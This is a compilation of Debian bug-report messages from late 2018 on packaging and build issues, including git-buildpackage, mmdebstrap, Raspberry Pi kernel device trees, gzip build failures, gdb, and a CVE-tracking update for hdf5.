I contacted the maintainers about the package in April,
but did not yet receive an answer.

Bug#915629: git-buildpackage: Allow --ignore-branch for 'gbp pq'

[Juan Navarro]

On 5/12/18 14:18, Guido Günther wrote:

Hi,
On Wed, Dec 05, 2018 at 01:45:59PM +0100, Juan Navarro wrote:

Source: git-buildpackage
Version: 0.9.10
Severity: wishlist

When trying to import the patch-queue from a checked out state that is not on a
branch (e.g. from a previous commit which is not the master HEAD), the command
'gbp pq import' fails with

gbp:error: Currently not on a branch

Which is expected, but it would be nice and useful being able to provide a
'--ignore-branch' arg to just force importing the patch queue from the current
commit.

That makes sense and would be consistent with other commands. A patch
would be welcome.
  -- Guido


I'm not used to discuss code changes with sending patches and 
corrections back and forth by email, on the other hand I see you have 
some Pull Requests open in Github... is it ok if I open one and discuss 
changes in there?

Bug#915809: colmap: Please reenable SSE / SSE2 on amd64

[Witold Baryluk]

Package: colmap
Version: 3.5-1
Severity: normal


In rules I see:


ifeq (,$(filter $(DEB_HOST_ARCH), amd64))
DEB_CPPFLAGS_MAINT_APPEND += -DDISABLE_CPU_SSE
endif


this is harmful and wrong.

ALL amd64 implementations do support SSE and SSE2
and are required to.

Usage of x87 instruction set and registers is deprecated and should not
be used at all on amd64.

Please remove this ifeq statement.




-- System Information:
Debian Release: buster/sid
  APT prefers testing
  APT policy: (500, 'testing'), (1, 'experimental')
Architecture: amd64 (x86_64)
Foreign Architectures: i386

Kernel: Linux 4.18.0-2-amd64 (SMP w/32 CPU cores)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8), 
LANGUAGE=en_US.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /usr/bin/dash
Init: systemd (via /run/systemd/system)
LSM: AppArmor: enabled

Versions of packages colmap depends on:
ii  libc6   2.27-8
ii  libceres1   1.13.0+dfsg0-2
ii  libfreeimage3   3.17.0+ds1-5+b5
ii  libgcc1 1:8.2.0-9
ii  libgflags2.22.2.2-1
ii  libgl1  1.1.0-1
ii  libglew2.0  2.0.0-6
ii  libglu1-mesa [libglu1]  9.0.0-2.1
ii  libgomp18.2.0-9
ii  libgoogle-glog0v5   0.3.5-1
ii  libqt5core5a5.11.2+dfsg-7
ii  libqt5gui5  5.11.2+dfsg-7
ii  libqt5opengl5   5.11.2+dfsg-7
ii  libqt5widgets5  5.11.2+dfsg-7
ii  libstdc++6  8.2.0-9

colmap recommends no packages.

colmap suggests no packages.

-- no debconf information

Bug#814218: lua-ldap: Add support for Lua 5.2

[W. Martin Borgert]

patch to fix potential privacy problems in documentation
Description: fix potential privacy problems in documentation
Author: W. Martin Borgert 
Origin: vendor
Last-Update: 2018-12-07
---
This patch header follows DEP-3: http://dep.debian.net/deps/dep3/
--- a/doc/us/index.html
+++ b/doc/us/index.html
@@ -4,7 +4,6 @@
 
 
 LuaLDAP: A Lua interface to an LDAP library
-http://www.keplerproject.org/doc.css; type="text/css"/>
 	
 
 
@@ -130,7 +129,7 @@
 
 
 	http://validator.w3.org/check?uri=referer;>
-		http://www.w3.org/Icons/valid-xhtml10; alt="Valid XHTML 1.0!" height="31" width="88" />
+		Valid XHTML 1.0!
 	$Id: index.html,v 1.37 2007-12-14 17:06:57 carregal Exp $
  
 
--- a/doc/us/license.html
+++ b/doc/us/license.html
@@ -4,7 +4,6 @@
 
 
 LuaLDAP: license
-http://www.keplerproject.org/doc.css; type="text/css"/>
 	
 
 
@@ -111,7 +110,7 @@
 
 
 	http://validator.w3.org/check?uri=referer;>
-		http://www.w3.org/Icons/valid-xhtml10; alt="Valid XHTML 1.0!" height="31" width="88" />
+		Valid XHTML 1.0!
 	$Id: license.html,v 1.11 2007-12-14 16:46:15 carregal Exp $
  
 
--- a/doc/us/manual.html
+++ b/doc/us/manual.html
@@ -4,7 +4,6 @@
 
 
 LuaLDAP: A Lua interface to an LDAP library
-http://www.keplerproject.org/doc.css; type="text/css"/>
 	
 
 
@@ -342,7 +341,7 @@
 
 
 	http://validator.w3.org/check?uri=referer;>
-http://www.w3.org/Icons/valid-xhtml10; alt="Valid XHTML 1.0!" height="31" width="88" />
+Valid XHTML 1.0!
 	$Id: manual.html,v 1.34 2007-12-14 16:46:15 carregal Exp $
  
 

Bug#914915: mmdebstrap: Please make it possible to bootstrap w/ or w/o merged /usr

[Johannes Schauer]

On Wed, 28 Nov 2018 16:45:27 +0100 Guillem Jover  wrote:
> This package defaults to bootstrapping a Debian system with the
> hackish merged /usr via symlinks, but it provides no way to disable
> that. It would be nice if it had an option to select either mode
> explicitly, say some --[no-]whatever option.

When I started writing mmdebstrap, one of my major motivations was to provide a
tool that uses as little magic as possible and instead relies on the
information from the packages themselves for everything. That's also why the
force-script-chrootless mode is so high on my priority list for mmdebstrap.
Thus I think it would be best to not enable/disable merged /usr by using
command line arguments (mmdebstrap tries to use only very few of those) but
instead by selecting which packages to install -- that is assuming that Debian
will not switch to merged /usr by default. This brings me to another point:
right now it seems that building source packages in a merged /usr environment
is able to create buggy packages that don't work on a non-merged system.
Additionally, there seems to be no consensus about the why, how and when of
merged /usr yet. Lastly I only added merged /usr by default because it was the
default of debootstrap at the time when I implemented the code.

Given all these arguments, I just disabled merged /usr completely in this
commit:

https://gitlab.mister-muffin.de/josch/mmdebstrap/commit/97d273aaf6ada19f496ba75d907ee64b0a75

This seems to be a sensible default for now because it doesn't taint source
packages built within and it's also the current default of Debian testing and
debootstrap.

Since this bug is about allowing to choose whether one wants a system with or
without merged /usr I will leave this bug report open until a project wide
decision about it has been made.

Thanks!

cheers, josch


signature.asc
Description: signature

Bug#915808: Current dtb for raspberry pi 3b doesn't allow wifi to be used

[Santiago Garcia Mantinan]

Package: src:linux
Version: 4.18.20-2
Severity: normal
Tags: patch

Hi!

After kernel 4.17 the dtb for raspberry pi 3 b is not ok and thus the wifi
is not found and cannot be used.

Looking at the differences from 4.17 to 4.18 I have discovered that if you
revert this single patch affecting only the pi3b model the wifi is
discovered and works again.

https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/arch/arm/boot/dts/bcm2837-rpi-3-b.dts?id=b1b8f45b3130dbd8704e5ea0d82b49b1d929498e

I have tested this both on Linus kernel 4.20-rc5 and on Debian 4.19.5 as
currently on experimental, on both reverting this patch makes the wifi work
again.

Regards

-- Package-specific info:
** Kernel log: boot messages should be attached

** Model information
Device Tree model: Raspberry Pi 3 Model B Rev 1.2

** PCI devices:
not available

** USB devices:
Bus 001 Device 006: ID 0bc2:2322 Seagate RSS LLC 
Bus 001 Device 005: ID 0b95:772b ASIX Electronics Corp. AX88772B
Bus 001 Device 004: ID 0939:0b15 Lumberg, Inc. Toshiba Stor.E Alu 2
Bus 001 Device 003: ID 0424:ec00 Standard Microsystems Corp. SMSC9512/9514 Fast 
Ethernet Adapter
Bus 001 Device 002: ID 0424:9514 Standard Microsystems Corp. SMC9514 Hub
Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub


-- System Information:
Debian Release: buster/sid
  APT prefers testing
  APT policy: (990, 'testing'), (500, 'unstable'), (1, 'experimental')
Architecture: arm64 (aarch64)

Kernel: Linux 4.19.5 (SMP w/4 CPU cores)
Locale: LANG=gl_ES.UTF-8, LC_CTYPE=gl_ES.UTF-8 (charmap=UTF-8), 
LANGUAGE=gl_ES.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /usr/bin/dash
Init: systemd (via /run/systemd/system)
LSM: AppArmor: enabled

Versions of packages linux-image-4.18.0-3-arm64 depends on:
ii  initramfs-tools [linux-initramfs-tool]  0.132
ii  kmod25-2
ii  linux-base  4.5

Versions of packages linux-image-4.18.0-3-arm64 recommends:
ii  apparmor 2.13.1-3+b1
ii  firmware-linux-free  3.4
ii  irqbalance   1.5.0-0.1

Versions of packages linux-image-4.18.0-3-arm64 suggests:
pn  debian-kernel-handbook  
pn  linux-doc-4.18  

Versions of packages linux-image-4.18.0-3-arm64 is related to:
pn  firmware-amd-graphics 
pn  firmware-atheros  
pn  firmware-bnx2 
pn  firmware-bnx2x
ii  firmware-brcm8021120180825+dfsg-1
pn  firmware-cavium   
pn  firmware-intel-sound  
pn  firmware-intelwimax   
pn  firmware-ipw2x00  
pn  firmware-ivtv 
pn  firmware-iwlwifi  
pn  firmware-libertas 
pn  firmware-linux-nonfree
pn  firmware-misc-nonfree 
pn  firmware-myricom  
pn  firmware-netxen   
pn  firmware-qlogic   
ii  firmware-realtek  20180825+dfsg-1
pn  firmware-samsung  
pn  firmware-siano
pn  firmware-ti-connectivity  
pn  xen-hypervisor

-- no debconf information

Bug#838503: debian-installer: mdadm should not start syncing RAID1 arrays at full speed during installation

[Steve McIntyre]

[ Responding to this old bug, prompted by discussion in #debian-boot
  tonight ]

On Sat, Jun 24, 2017 at 09:01:49PM +0200, Cyril Brulebois wrote:
>Hi Baptiste,
>
>Baptiste Jonglez  (2016-09-21):
>> When creating a RAID1 array in the debian-installer and using it for
>> the installation, mdadm immediately starts syncing the disks of the
>> RAID array.
>> 
>> This is a bad idea, because the subsequent install will be really slow
>> on rotational disks (linear disk access by mdadm and random disk
>> access by dpkg).  On a fairly recent computer with 2 SATA disks, the
>> installation took around 20 minutes before even arriving to the
>> tasksel step.
>
>Well, I can understand the argument, but the user could very well expect
>disks to be in mirror mode as soon as possible, and not wait until a few
>days after the installation before the initial sync ends…

The number isn't persistent across reboots, so it would speed up again
on the reboot after the installation finished.

>> I can see two solutions:
>> 
>> 1) lower the speed of the syncing operation, by setting the
>>"dev.raid.speed_limit_max" sysctl setting to e.g. 1000;
>
>I'm not sure it would be a good idea to stick a hardcoded value there,
>even if we were to lower the available bandwidth… Too many different
>cases, be it about actual hardware, disk sizes, etc.

1000 is a nice small number, which I think might make sense as a
default *while* we're installing. Once the installer has finished and
the system is rebooted, all will go back to normal. Hell, we could
even expose this value via debconf for expert (and preseed) if needed.

-- 
Steve McIntyre, Cambridge, UK.st...@einval.com
"Yes, of course duct tape works in a near-vacuum. Duct tape works
 anywhere. Duct tape is magic and should be worshipped."
   -― Andy Weir, "The Martian"

Bug#915652: ganeti: Fails to build reproducibly: embeds path of ip found via PATH

[Apollon Oikonomopoulos]

Hi Andreas!

On 22:13 Thu 06 Dec , Andreas Henriksson wrote:
> I agree that fixing these merged-usr reproducability issues on their 
> own
> is pretty useless, not only for ganeti but for all affected packages.
> Still I'm attaching a patch that makes ganeti reproducible in
> merged-usr vs non-merged systems. I think it would be great if
> you could still consider applying it (and then continuing the discussion
> upstream about general improvements), because it would be nice to see
> people stop discussing this useless change. Local builds will break
> for so many other reasons than merged-usr. fixing the things
> people complain about could still be nice though, just to avoid
> further discussions.

Agreed. Unfortunately, the patch is malformed, it only contains the 
following two lines:

> ganeti_2.16.0-2.1.dsc
> ganeti_2.16.0-2.dsc

Could you resend it?

Thanks!
Apollon

Bug#915151: gzip FTBFS: ../../lib/fseeko.c:110:4: error: #error "Please port gnulib fseeko.c to your platform! Look at the code in fseeko.c, then report this to bug-gnulib."

[Rene Luria]

Hello,

On Sat, 1 Dec 2018 08:07:24 +0100 Helmut Grohne  wrote:
> gzip fails to build from source in unstable (since the glibc upgrade to
> 2.28):

(…)

> gnulib likes to use this construct to detect glibc:
> 
> | #if defined _IO_ftrylockfile || __GNU_LIBRARY__ == 1 /* GNU libc, BeOS, 
> Haiku, Linux libc5 */
> 
> Unfortunately, _IO_ftrylockfile got removed from glibc/2.28 and
> __GNU_LIBRARY__ is 6, so glibc is not a GNU libc.
> 
> gnulib has a history of breaking packages frequently. What makes matters
> worse is that gnulib gets embedded rather than used like any other
> component. So fixing this bug in gnulib does not fix gzip. I therefore
> cloned a separate instance as it still breaks e.g. lbzip2.

Would the here attached patch help ?
On most files in lib we can use the == 6 construct. Only for fflush.c this 
can’t be done because it uses removed libio.h references.


gzip_glib_fix.patch
Description: Binary data

— 
René Luria

Bug#915366: perlfaq4: the section on indented here documents should mention the ~ modifier

[Dominic Hargreaves]

On Sun, Dec 02, 2018 at 11:17:47PM -0500, Celejar wrote:
> perlfaq4 has a question "Why don't my < of the answer deals with ways to write indented here documents. These
> are largely kludges, however, and the faq should really mention the ~
> modifier (desribed in perlop), which was introduced precisely in order
> to provide a clean way to do this.

Hi,

Thanks for pointing this out. Would you be able to contribute
a suggested text (either as a diff, or otherwise) for this that
we can forward upstream?

Cheers,
Dominic.

Bug#898048: gdb: Couldn't write extended state status: Bad address

[JustAnotherArchivist]

Dear all,

I was now able to test my hypothesis that this is/was a bug in Linux 
that has been fixed since. Here's what I tried:


0. Under the old system, the test failed with the previously mentioned 
error message. To make sure it wasn't caused by some weird system state, 
I rebooted the machine and tested again. This did not change anything.
1. I upgraded linux-image-amd64 from 4.9+80+deb9u5 to 4.9+80+deb9u6. 
This installed linux-image-4.9.0-8-amd64 version 4.9.130-2 in addition 
to the previously installed and used linux-image-4.9.0-7-amd64 version 
4.9.110-3+deb9u2. After rebooting into the new kernel, the test still 
failed.
2. Since that didn't help, I tried the exact same kernel image that 
works on the other, very similar machine, i.e. downgraded 
linux-image-4.9.0-8-amd64 to 4.9.110-3+deb9u4. After rebooting, the test 
still failed.


I then upgraded all installed packages to their latest versions. 
Unsurprisingly given the differences in package versions, that didn't 
change anything.


So I went back to the original idea that it's a GDB bug. I searched 
around a bit whether there were any other known issues with GDB and/or 
this CPU model, and I found a thread about cuda-gdb failing on certain 
versions with this Intel 6140 CPU [0] and the related GDB bug report 
[1]. It indicates that some bugs related to this CPU's (extended) 
instruction set have been fixed in a higher GDB version, which lead me 
to try out newer versions. Lo and behold, it works correctly with GDB 
8.0 (both compiled from source and the 8.0-1 Debian package).


I bisected the 2288 commits between GDB 7.12 and 8.0 and identified 
upstream commit 51547df6 [2] as the one fixing this issue.


Cheers,
JAA

[0] 
https://devtalk.nvidia.com/default/topic/1038201/cuda-gdb/cuda-gdbserver-cannot-be-connected-unknown-register-ymm0h-requested/

[1] https://sourceware.org/bugzilla/show_bug.cgi?id=22137
[2] 
https://sourceware.org/git/gitweb.cgi?p=binutils-gdb.git;a=commit;h=51547df62c155231530ca502c485659f3d2b66cb

Bug#915785: perl6-zef: unowned directory after purge: /usr/lib/perl6/vendor/resources/

[gregor herrmann]

On Thu, 06 Dec 2018 19:58:38 +0100, Andreas Beckmann wrote:

> The maintainer scripts create (and later remove) a file in that
> directory. Manual directory removal may be not appropriate as this
> directory is shared between several packages.

rmdir --ignore-fail-on-non-empty --parents --verbose ...
should work but …
 
> If the package would ship this as an empty directory, dpkg would take
> care of the creation and removal (if it's empty).

… makes more sense indeed.
 

Cheers,
gregor

-- 
 .''`.  https://info.comodo.priv.at -- Debian Developer https://www.debian.org
 : :' : OpenPGP fingerprint D1E1 316E 93A7 60A8 104D  85FA BB3A 6801 8649 AA06
 `. `'  Member VIBE!AT & SPI Inc. -- Supporter Free Software Foundation Europe
   `-   NP: Rolling Stones: Melody


signature.asc
Description: Digital Signature

Bug#913946: llvm*7 unstripped

[Rebecca N. Palmer]

dh_strip uses objcopy as well as strip, so we might need to similarly force that to the LLVM version. 


That won't work: LLVM objcopy doesn't accept --compress-debug-sections, 
and accepts but ignores --only-keep-debug. 
https://sources.debian.org/src/debhelper/11.5.3/dh_strip/#L308


Also, LLVM strip doesn't accept --enable-deterministic-archives, used 
for static libraries.


While this could be the result of dh_strip crashing, local testing 
suggests llvm-strip --remove-section=.comment --remove-section=.note 
--strip-unneeded [library filename] 
*doesn't actually strip anything*.
--strip-debug makes it do something.  (dh_strip passes that for static 
libraries, but not shared ones.)  This suggests making 'strip' a 1-line 
script "llvm-strip --strip-debug $*" not just a symlink.


Also, while I do get *some* "failed to find link section" errors with 
GNU strip and these "unstripped" libraries, they aren't the same ones as 
had such an error in the old build log.  These errors do not appear with 
LLVM strip.

Bug#884365: hdf5: CVE-2017-17505 CVE-2017-17506 CVE-2017-17507 CVE-2017-17508 CVE-2017-17509

[Salvatore Bonaccorso]

Control: clone 884365 -1
Control: retitle 884365 hdf5: CVE-2017-17505 CVE-2017-17506 CVE-2017-17508 
CVE-2017-17509
Control: retitle -1 hdf5: CVE-2017-17507
Control: fixed 884365 1.10.2+repack-1~exp1

Hi Gilles!

On Thu, Dec 06, 2018 at 11:02:17PM +0100, Gilles Filippini wrote:
> On Thu, 14 Dec 2017 16:17:51 +0100 Salvatore Bonaccorso
>  wrote:
> > Source: hdf5
> > Version: 1.8.13+docs-1
> > Severity: important
> > Tags: security upstream
> > 
> > Hi,
> > 
> > the following vulnerabilities were published for hdf5, the POCs are
> > found at [5]. Apart of CVE-2017-17509, all are confirmed back to
> > 1.8.13+decs-15+deb8u1, still decided to collect that CVE as well in
> > this bug, but we can split up by affected version. Not sure as well if
> > the issues have been reported to upstream.
> > 
> > CVE-2017-17505[0]:
> > | In HDF5 1.10.1, there is a NULL pointer dereference in the function
> > | H5O_pline_decode in the H5Opline.c file in libhdf5.a. For example,
> > | h5dump would crash when someone opens a crafted hdf5 file.
> > 
> > CVE-2017-17506[1]:
> > | In HDF5 1.10.1, there is an out of bounds read vulnerability in the
> > | function H5Opline_pline_decode in H5Opline.c in libhdf5.a. For example,
> > | h5dump would crash when someone opens a crafted hdf5 file.
> > 
> > CVE-2017-17507[2]:
> > | In HDF5 1.10.1, there is an out of bounds read vulnerability in the
> > | function H5T_conv_struct_opt in H5Tconv.c in libhdf5.a. For example,
> > | h5dump would crash when someone opens a crafted hdf5 file.
> > 
> > CVE-2017-17508[3]:
> > | In HDF5 1.10.1, there is a divide-by-zero vulnerability in the function
> > | H5T_set_loc in the H5T.c file in libhdf5.a. For example, h5dump would
> > | crash when someone opens a crafted hdf5 file.
> > 
> > CVE-2017-17509[4]:
> > | In HDF5 1.10.1, there is an out of bounds write vulnerability in the
> > | function H5G__ent_decode_vec in H5Gcache.c in libhdf5.a. For example,
> > | h5dump would crash or possibly have unspecified other impact someone
> > | opens a crafted hdf5 file.
> 
> CVE-2017-17505, CVE-2017-17506, CVE-2017-17508 and CVE-2017-17509 are
> fixed in upstream release 1.10.2 [1].
> 
> Regarding CVE-2017-17507, upstream release notes for release 1.10.2
> states [1]:
> > NOTE: The HDF5 C library cannot produce such a file. This condition
> >   should only occur in a corrupt (or deliberately altered) file
> >   or a file created by third-party software.
> >
> > THE HDF GROUP WILL NOT FIX THIS BUG AT THIS TIME
> >
> > Fixing this problem would involve updating the publicly visible
> > H5T_conv_t function pointer typedef and versioning the API calls
> > which use it. We normally only modify the public API during
> > major releases, so this bug will not be fixed at this time.
> >
> > (DER - 2018/02/26, HDFFV-10356)

Ack, thanks for this update. So let's split the bug into two, to track
CVE-2017-17507 separately for when upstream will fix it (which
involves an ABI change if I understood correctly).

Regards,
Salvatore

Bug#625469: improvements for tar, cryptsetup, imagemagick completions and the _parse_help function

[Gabriel F. T. Gomes]

Hello, Frank,

On Tue, 3 May 2011 20:02:54 +0200 David Paleino  wrote:
> 
> On Tue, 03 May 2011 10:46:19 -0700, Frank Harwald wrote:
> 
> > Package: bash-completion
> > Version: 1.2-3
> > 
> > I made several improvements for the bash-completion package.
> > [..]
> 
> Would you please make a clone of our git repository, make single commits, use
> "git format-patch", and then send the resulting patches to the
> bash-completion-de...@lists.alioth.debian.org mailing list?

Do you still have local improvements that you would like to share?  We
can work on getting them integrated into the upstream sources, as well
as into Debian.

Let me know if you still want to do it and how I can help you.

Kind regards,
Gabriel

Bug#912850: Package installs completions files into obsolete directory

[Gabriel F. T. Gomes]

I opened this bug report before I ever read bug #551707 [1], more
specifically, message #40 [2].  I'm sorry if this caused a harsh
impression, as that was not my intention, at all (I opened similar bug
reports for other packages [3][4][5], all at the same time).

Please let me know if you still want move the completions file from
dlocate to bash-completion.

Kind regards,
Gabriel

[1] https://bugs.debian.org/551707
[2] https://bugs.debian.org/551707#40
[3] https://bugs.debian.org/912854
[4] https://bugs.debian.org/912852
[5] https://bugs.debian.org/912849

Bug#915806: jabref FTBFS

[Adrian Bunk]

Source: jabref
Version: 3.8.2+ds-9
Severity: serious
Tags: ftbfs

https://tests.reproducible-builds.org/debian/rb-pkg/unstable/amd64/jabref.html

...
gradle --info --console plain --offline --stacktrace --no-daemon 
--refresh-dependencies --gradle-user-home .gradle -Duser.home=. 
-Duser.name=debian -Ddebian.package=jabref -Dfile.encoding=UTF-8 --parallel 
--max-workers=16 jar
Initialized native services in: /build/1st/jabref-3.8.2+ds/.gradle/native
To honour the JVM settings for this build a new JVM will be forked. Please 
consider using the daemon: 
https://docs.gradle.org/4.4.1/userguide/gradle_daemon.html.
Starting process 'Gradle build daemon'. Working directory: 
/build/1st/jabref-3.8.2+ds/.gradle/daemon/4.4.1 Command: 
/usr/lib/jvm/java-11-openjdk-amd64/bin/java 
-Xbootclasspath/a:/usr/share/java/gradle-helper-hook.jar:/usr/share/java/maven-repo-helper.jar
 -Dfile.encoding=UTF-8 -Duser.country=US -Duser.language=en -Duser.variant -cp 
/usr/share/gradle/lib/gradle-launcher-4.4.1.jar 
org.gradle.launcher.daemon.bootstrap.GradleDaemon 4.4.1
Successfully started process 'Gradle build daemon'
An attempt to start the daemon took 1.388 secs.
The client will now receive all logging from the daemon (pid: 23549). The 
daemon log file: 
/build/1st/jabref-3.8.2+ds/.gradle/daemon/4.4.1/daemon-23549.out.log
Daemon will be stopped at the end of the build stopping after processing
Closing daemon's stdin at end of input.
The daemon will no longer process any standard input.
Using 16 worker leases.
Creating new cache for fileHashes, path 
/build/1st/jabref-3.8.2+ds/.gradle/caches/4.4.1/fileHashes/fileHashes.bin, 
access org.gradle.cache.internal.DefaultCacheAccess@1e2eb37d
Creating new cache for resourceHashesCache, path 
/build/1st/jabref-3.8.2+ds/.gradle/caches/4.4.1/fileHashes/resourceHashesCache.bin,
 access org.gradle.cache.internal.DefaultCacheAccess@1e2eb37d
Creating new cache for fileHashes, path 
/build/1st/jabref-3.8.2+ds/.gradle/4.4.1/fileHashes/fileHashes.bin, access 
org.gradle.cache.internal.DefaultCacheAccess@f97a52f
Starting Build
Compiling initialization script 
'/build/1st/jabref-3.8.2+ds/.gradle/init.d/init.gradle' using 
SubsetScriptTransformer.
A locale sensitive service provider returned null for a localized objects,  
which should not happen.  provider: 
sun.util.cldr.CLDRCalendarDataProviderImpl@767899bc locale: en
A locale sensitive service provider returned null for a localized objects,  
which should not happen.  provider: 
sun.util.cldr.CLDRCalendarDataProviderImpl@767899bc locale: en
A locale sensitive service provider returned null for a localized objects,  
which should not happen.  provider: 
sun.util.cldr.CLDRCalendarDataProviderImpl@767899bc locale: en
A locale sensitive service provider returned null for a localized objects,  
which should not happen.  provider: 
sun.util.cldr.CLDRCalendarDataProviderImpl@767899bc locale: en
Creating new cache for metadata-1.1/results, path 
/build/1st/jabref-3.8.2+ds/.gradle/caches/transforms-1/metadata-1.1/results.bin,
 access org.gradle.cache.internal.DefaultCacheAccess@6fdd9d1e
Compiling initialization script 
'/build/1st/jabref-3.8.2+ds/.gradle/init.d/init.gradle' using 
BuildScriptTransformer.
Compiling settings file '/build/1st/jabref-3.8.2+ds/settings.gradle' using 
SubsetScriptTransformer.
Compiling settings file '/build/1st/jabref-3.8.2+ds/settings.gradle' using 
BuildScriptTransformer.
Settings evaluated using settings file 
'/build/1st/jabref-3.8.2+ds/settings.gradle'.
Projects loaded. Root project using build file 
'/build/1st/jabref-3.8.2+ds/build.gradle'.
Included projects: [root project 'JabRef']
Keep-alive timer started
Adding Debian repository to project 'JabRef'
Parallel execution is an incubating feature.
Evaluating root project 'JabRef' using build file 
'/build/1st/jabref-3.8.2+ds/build.gradle'.
Compiling build file '/build/1st/jabref-3.8.2+ds/build.gradle' using 
SubsetScriptTransformer.
Compiling build file '/build/1st/jabref-3.8.2+ds/build.gradle' using 
BuildScriptTransformer.
Compiling script '/build/1st/jabref-3.8.2+ds/xjc.gradle' using 
SubsetScriptTransformer.
Compiling script '/build/1st/jabref-3.8.2+ds/xjc.gradle' using 
BuildScriptTransformer.
Adding Maven pom generation to project 'JabRef'
Linking the generated javadoc to the system JDK API documentation
All projects evaluated.
Selected primary task 'jar' from project :
Creating new cache for annotation-processors, path 
/build/1st/jabref-3.8.2+ds/.gradle/4.4.1/fileContent/annotation-processors.bin, 
access org.gradle.cache.internal.DefaultCacheAccess@55073f88
Tasks to be executed: [task ':generateBstGrammarSource', task 
':generateSearchGrammarSource', task ':generateSource', task ':xjc', task 
':compileJava', task ':processResources', task ':classes', task 
':debianMavenPom', task ':jar']
Creating new cache for resourceHashesCache, path 
/build/1st/jabref-3.8.2+ds/.gradle/4.4.1/fileHashes/resourceHashesCache.bin, 
access 

Bug#915626: python-django: FTBFS: _pickle.PicklingError: Can't pickle : it's not the same object as django.contrib.admin.templatetags.admin_list.paginator_

[GCS]

Hi Chris,

On Thu, Dec 6, 2018 at 5:05 PM Chris Lamb  wrote:
> I can reproduce this with libsqlite3-0 3.26.0-1 (currently in sid) but
> not with 3.25.3-2 (currently in buster). I've forwarded the test part
> to Django upstream here:
>
>   https://code.djangoproject.com/ticket/30016
>
> … but it might an upstream SQLite bug. Laszlo, any ideas at this stage?
 Indeed, there's a bug in SQLite3 in 'ALTER TABLE' handling with views
and triggers[1]. I'm going to backport the fix and upload it soon.
It's a bit late and I can't test now if it fixes your issue, but will
check it tomorrow after work.

Regards,
Laszlo/GCS
[1] https://www.sqlite.org/src/info/f44bc7a8b3fac82a

Bug#915550: libautodie-perl: superseded by perl

[Dominic Hargreaves]

On Tue, Dec 04, 2018 at 07:52:19PM +0200, Niko Tyni wrote:
> Package: libautodie-perl
> Version: 2.29-2
> Severity: serious
> 
> This is a separately packaged version of a module that
> is also bundled with Perl core.
> 
> The last upstream release of autodie was over three years ago, despite
> the rather serious bug in it (#798096). I don't think there's any value
> in releasing buster with this as a separate package.

Okay, so any reason not to just request an RM now?

Cheers,
Dominic.

Bug#915261: SysV init regression thanks to broken "container detection" logic

[GSR]

Package: udev
Version: 239-14
Followup-For: Bug #915261
Severity: serious

Severity should be at least serious, for two reasons. First so it gets
listed with apt-listbugs default levels and people can decide what to
do. And second, it does not affect every user, but those affected have
to handle a broken boot, which is not nice.

Per https://release.debian.org/testing/rc_policy.txt it is release
critical.
---8<---
* makes unrelated software on the system (or the whole system)
  break
--->8---

GSR
 

Bug#884365: hdf5: CVE-2017-17505 CVE-2017-17506 CVE-2017-17507 CVE-2017-17508 CVE-2017-17509

[Gilles Filippini]

On Thu, 14 Dec 2017 16:17:51 +0100 Salvatore Bonaccorso
 wrote:
> Source: hdf5
> Version: 1.8.13+docs-1
> Severity: important
> Tags: security upstream
> 
> Hi,
> 
> the following vulnerabilities were published for hdf5, the POCs are
> found at [5]. Apart of CVE-2017-17509, all are confirmed back to
> 1.8.13+decs-15+deb8u1, still decided to collect that CVE as well in
> this bug, but we can split up by affected version. Not sure as well if
> the issues have been reported to upstream.
> 
> CVE-2017-17505[0]:
> | In HDF5 1.10.1, there is a NULL pointer dereference in the function
> | H5O_pline_decode in the H5Opline.c file in libhdf5.a. For example,
> | h5dump would crash when someone opens a crafted hdf5 file.
> 
> CVE-2017-17506[1]:
> | In HDF5 1.10.1, there is an out of bounds read vulnerability in the
> | function H5Opline_pline_decode in H5Opline.c in libhdf5.a. For example,
> | h5dump would crash when someone opens a crafted hdf5 file.
> 
> CVE-2017-17507[2]:
> | In HDF5 1.10.1, there is an out of bounds read vulnerability in the
> | function H5T_conv_struct_opt in H5Tconv.c in libhdf5.a. For example,
> | h5dump would crash when someone opens a crafted hdf5 file.
> 
> CVE-2017-17508[3]:
> | In HDF5 1.10.1, there is a divide-by-zero vulnerability in the function
> | H5T_set_loc in the H5T.c file in libhdf5.a. For example, h5dump would
> | crash when someone opens a crafted hdf5 file.
> 
> CVE-2017-17509[4]:
> | In HDF5 1.10.1, there is an out of bounds write vulnerability in the
> | function H5G__ent_decode_vec in H5Gcache.c in libhdf5.a. For example,
> | h5dump would crash or possibly have unspecified other impact someone
> | opens a crafted hdf5 file.

CVE-2017-17505, CVE-2017-17506, CVE-2017-17508 and CVE-2017-17509 are
fixed in upstream release 1.10.2 [1].

Regarding CVE-2017-17507, upstream release notes for release 1.10.2
states [1]:
> NOTE: The HDF5 C library cannot produce such a file. This condition
>   should only occur in a corrupt (or deliberately altered) file
>   or a file created by third-party software.
>
> THE HDF GROUP WILL NOT FIX THIS BUG AT THIS TIME
>
> Fixing this problem would involve updating the publicly visible
> H5T_conv_t function pointer typedef and versioning the API calls
> which use it. We normally only modify the public API during
> major releases, so this bug will not be fixed at this time.
>
> (DER - 2018/02/26, HDFFV-10356)

[1] https://confluence.hdfgroup.org/display/support/HDF5+1.10.2

Thanks,

_g.



signature.asc
Description: OpenPGP digital signature

Bug#856505: This patch should solve the audio problem

[Santiago Garcia Mantinan]

Hi!

Based on eHenry's instructions I have created this patch which I have tested
on Debian's 4.19 kernel now on experimental, where we have already enabled
the sound driver which was not working.

The result is that with this patch the sound is finally working, so, please
apply this to the 4.19 kernel to enable sound.

--- bcm283x.dtsi.orig   2018-12-03 00:07:55.0 +0100
+++ bcm283x.dtsi2018-12-05 13:36:02.718569539 +0100
@@ -634,6 +634,10 @@
vc4: gpu {
compatible = "brcm,bcm2835-vc4";
};
+audio: audio {
+   compatible = "brcm,bcm2835-audio";
+   brcm,pwm-channels = <8>;
+};
};
 
clocks {

Regards.
-- 
Santiago García Mantiñán

Bug#915799: general: libGL.so.1 Missing

[Hilmar Preusse]

On 06.12.18 Finn Haese (debianbugrep...@web.de) wrote:

Hi,

> Steam fails to start, libGL.so.1 is missing.
> Not able to submit bug for "Steam", not found in list of packages
> when trying to submit bug.
> 
apt-file should help you to find the packageif it is a Debian
package.

Hilmar
-- 
sigfault


signature.asc
Description: PGP signature

Bug#915804: Should this package be removed?

[Moritz Muehlenhoff]

Source: cfengine2
Severity: serious

